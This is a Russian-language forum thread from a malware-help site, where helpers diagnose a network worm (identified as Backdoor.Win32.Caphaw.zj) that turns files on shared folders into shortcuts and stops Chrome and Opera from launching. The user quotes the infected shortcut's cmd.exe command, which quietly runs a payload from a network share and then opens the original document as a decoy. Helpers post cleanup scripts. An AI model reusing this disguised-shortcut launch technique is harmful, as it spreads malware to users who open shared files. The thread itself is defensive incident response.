Не грузится Опера и Хром [Backdoor.Win32.Caphaw.zj ]

Появился вирус в сети, основной признак заражения - перестает грузится Хром и Опера. Метод заражения - похоже через сетевые папки, файлы переименовываются в линки, а в линках прописывается заражающее тело. Само заражающее тело я выделил, есть в архиве, могу прислать если нужно (на форум их не рекомендовано выкладывать), но вот что эта падла делает с системой - непонятно, новых процессов вроде как не появляется, однако Хром и Опера не грузится, иногда пытается что-то удалять, не получается, выдает системную ошибку.

[ATTACH]451217[/ATTACH]
[ATTACH]451218[/ATTACH]
[ATTACH]451219[/ATTACH]

Помогите разобраться, плиз!

Уважаемый(ая) [B]BorodaOleg[/B], спасибо за обращение на наш форум!

Помощь в лечении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы, в самое ближайшее время, ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитами АВЗ и HiJackThis, подробнее можно прочитать в [URL="http://virusinfo.info/pravila.html"]правилах оформления запроса о помощи[/URL].

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста [URL="http://virusinfo.info/content.php?r=113-virusinfo.info-donate"]поддержите проект[/URL].

Сделайте дополнительный лог [URL="http://virusinfo.info/showthread.php?t=121767"][B]Сделайте полный образ автозапуска uVS[/B][/URL]

На сетевых папках общий доступ для всех открыт, полный, всем ?
[QUOTE]>> Заблокирована настройка автоматического обновления[/QUOTE] Самостоятельно блокировали ?

[QUOTE=mrak74;1069308]Сделайте дополнительный лог [URL="http://virusinfo.info/showthread.php?t=121767"][B]Сделайте полный образ автозапуска uVS[/B][/URL]

На сетевых папках общий доступ для всех открыт, полный, всем ?
Самостоятельно блокировали ?[/QUOTE]

полный образ : [ATTACH]451278[/ATTACH]

во время обработки программа выдала сообщение об ошибке: [ATTACH=CONFIG]451279[/ATTACH]

На сетевых папках, как правило, полный доступ.
Автообновление блокировали сами, было пару обновлений, после которого система напрочь ложилась, после того начали предварительно проверять :)

[ATTACH]451280[/ATTACH]

Во время выполнения выдала ошибку: [ATTACH=CONFIG]451281[/ATTACH]

[COLOR="silver"]- - - Добавлено - - -[/COLOR]

[QUOTE=mrak74;1069308]Сделайте дополнительный лог [URL="http://virusinfo.info/showthread.php?t=121767"][B]Сделайте полный образ автозапуска uVS[/B][/URL]

На сетевых папках общий доступ для всех открыт, полный, всем ?
Самостоятельно блокировали ?[/QUOTE]

На сетевых папках, как правило полный доступ
Автообновление блокировали самостоятельно.

Об ошибке, похоже что это от программы [URL="http://www.consultant.ru/cabinet/catalog/fd/?&utm_campaign=attract_readers&utm_source=google.adwords&utm_medium=cpc&utm_term=nov09&utm_content=32&gclid=CLuwsJWeqLsCFYNf3godIXUA0Q"]КонсультантПлюс[/URL] - считайте это нормальным событием.

Заражение происходит похоже с другого компьютера. По нему создайте отдельную тему.

По поводу ошибок Хром и Опера, давайте посмотрим их через лог [URL="http://virusinfo.info/showthread.php?t=122524"][I]MiniToolBox[/I][/URL]

Результаты скана MiniToolBox в приложении

Вирус распространяется с другого компьютера, это так, с какого не совсем понятно. Тело вируса, которое заряжает компьютер я выявил, и с него уже сознательно заражал этот. После заражения, как основной признак перестали запускаться Опера и Хром.

[quote="BorodaOleg;1069299"]Само заражающее тело я выделил, есть в архиве[/quote]
Запакуйте вирус в архив с паролем [B]virus[/B] и загрузите по красной ссылке [COLOR="Red"][U][B]Прислать запрошенный карантин[/B][/U][/COLOR] вверху темы.

Скачайте и установите [URL="http://www.microsoft.com/ru-ru/download/details.aspx?id=6676"]User Profile Hive Cleanup Service[/URL]

В логе очень много ошибок связанных с Active Directory, либо проблема в контроллере домена, либо конкретно в этом компьютере. С этой проблемой к админам.

[QUOTE]Percentage of memory in use: 70%
Total physical RAM: 247.48 MB
Available physical RAM: 73.29 MB[/QUOTE]

Свободно 73.29 MB памяти. Мало. Очень мало для нормального функционирования системы.

После получения карантина, решим как отловить вирус в вашей сети. Физический доступ к компьютеру на котором находится сетевая "расшаренная" папка где появляется вирус, имеется ?

Тело сбросил в карантин, там 5 файлов, инициируется файл uxgldad.ajwx, висит в процессах секунд 30, потом сбрасывается. На разных зараженных компьютерах имена файлов бывают разные.
По остальному допишу завтра.

Скачайте и установите User Profile Hive Cleanup Service - скачал, установил. Ничего не дало.
В логе очень много ошибок связанных с Active Directory - да, домен был в процессе переноса с WS2003 на WS2008, затем его откатили обратно на WS2003, короче кое как изолентой смотанный пока работает. :)
Тот компьютер, с которого я писал логи специально собирал из хлама с целью имитировать заражение вирусом, чтобы отследить что в нем меняется. Вообщем ничего не понял, после чего уже стал обращаться к вам.
У нас в сети около 150 компьютеров, доступ ко всем имеется, другое дело, что не совсем понятно, с которого обращается вирус. Зараженные папки же могут появится где угодно.
Тут еще небольшое уточнение, переименовываются в линки вложенные папки и файлы *.doc, *.xls и *.exe.
Jpeg, mp3, avi, - не трогает.

[COLOR="silver"]- - - Добавлено - - -[/COLOR]

C:\WINDOWS\system32\cmd.exe /C start /b "" "cmd.exe" /C if exist "\\BELKO-YV\почта\uxGLDAd.AjWX" start /b "" "\\BELKO-YV\почта\uxGLDAd.AjWX" && start /b "" "\\BELKO-YV\почта\Движение 11.xls"

Забыл добавить, вот строчка в линке, по которому вызывается вирус.

[url]http://rghost.ru/50932050[/url]

полный образ автозапуска uVS (в безопасном режиме)

Вирус от 2012 года [URL="http://vms.drweb.com/virus/?i=2015451"]описание[/URL].

Вы самостоятельно обнаружили компьютер, вызывающий заражение, имя компьютера BELKO-YV.

Групповой политикой отключить бы автозапуск, пример [url]http://support.microsoft.com/kb/2328787/ru[/url]

Через wsus если имеется распространить требуемые обновления, в логах wsus они прекрасно видны.

Через консоль управления корпоративным антивирусом, если имеется запустить задачу сканирования на всех компьютерах для полной проверки.

[COLOR="silver"]- - - Добавлено - - -[/COLOR]

Выполните скрипт в uVS [URL="http://virusinfo.info/showthread.php?t=121769"]Как выполнить скрипт в uVS[/URL]
[CODE];uVS v3.80.1 script [http://dsrt.dyndns.org]
;Target OS: NTv5.1

zoo %SystemDrive%\DOCUMENTS AND SETTINGS\LUSER\APPLICATION DATA\MICROSOFT\CRYPTNETURLCACHE\METADATA\EXTRAC32.EXE
delall %SystemDrive%\DOCUMENTS AND SETTINGS\LUSER\APPLICATION DATA\MICROSOFT\CRYPTNETURLCACHE\METADATA\EXTRAC32.EXE
restart[/CODE]

Пришлите карантин из папки ZOO предварительно заархивировав его с паролем virus.

Сделайте новый лог uVS в безопасном режиме.

Отдельное Спасибо santy, за помощь в теме.

[COLOR="silver"]- - - Добавлено - - -[/COLOR]

+
[CODE]C:\Documents and Settings\luser\Application Data\Microsoft\Office\RTLCPL.EXE[/CODE]
Пришлите в карантин согласно [B]Приложения 2[/B] правил по красной ссылке [COLOR="Red"][U][B]Прислать запрошенный карантин[/B][/U][/COLOR] вверху темы

[COLOR="silver"]- - - Добавлено - - -[/COLOR]

[NOTICE]Новые логи uVS производить только в Безопасном режиме, не загружать компьютер в обычный режим до окончания лечения или пока не разрешит хэлпер.[/NOTICE]
Особенность вируса не позволяет пролечить его другим способом. По вопросам лечения с помощью uVS, можете обращаться к хэлперам: Vvvyg, mike 1, mrak74.

К сожалению, тестовый компьютер сдох окончательно, система не загружается, сразу идет на ресет. Скорее всего дело в железе, я его из хлама собирал :( Так что ни попытаться пролечить, ни получить отчет через uVS не могу :(
Успел только обратить внимание, что по вышеуказанному адресу физически, после загрузки системы, такого файла не лежит, хотя в реестре ссылки на него были.
Сейчас пытаюсь найти еще один блок со схожими параметрами, может с ним что-нибудь получиться :(
В любом случае, спасибо за помощь.

Можно подключить жесткий диск со сдохшего компа к исправному даже по USB при наличии внешнего контейнера под HDD или напрямую к свободным контактам в корпусе и снять лог по аналогии с [url=http://virusinfo.info/showthread.php?t=121985]Сделайте образ автозапуска uVS с Live CD[/url], а именно [QUOTE]Если Вы все сделали верно, должно появиться окно программы uVS. Щёлкните "Выбрать каталог Windows", откроется проводник с выбором папки системы, укажите папку "С:\Windows" (у вас может быть папка Windows.0 или иная, главное чтобы она содержала Вашу зараженную ОС);[/QUOTE] Главное выбрать правильно каталог Windows.

Статистика проведенного лечения:
[LIST][*]Получено карантинов: [B]1[/B][*]Обработано файлов: [B]5[/B][*]В ходе лечения обнаружены вредоносные программы:
[LIST=1][*] \uxgldad.ajwx - [B]Backdoor.Win32.Caphaw.zj[/B] ( BitDefender: Trojan.GenericKD.1449599, AVAST4: Win32:Malware-gen )[/LIST][/LIST]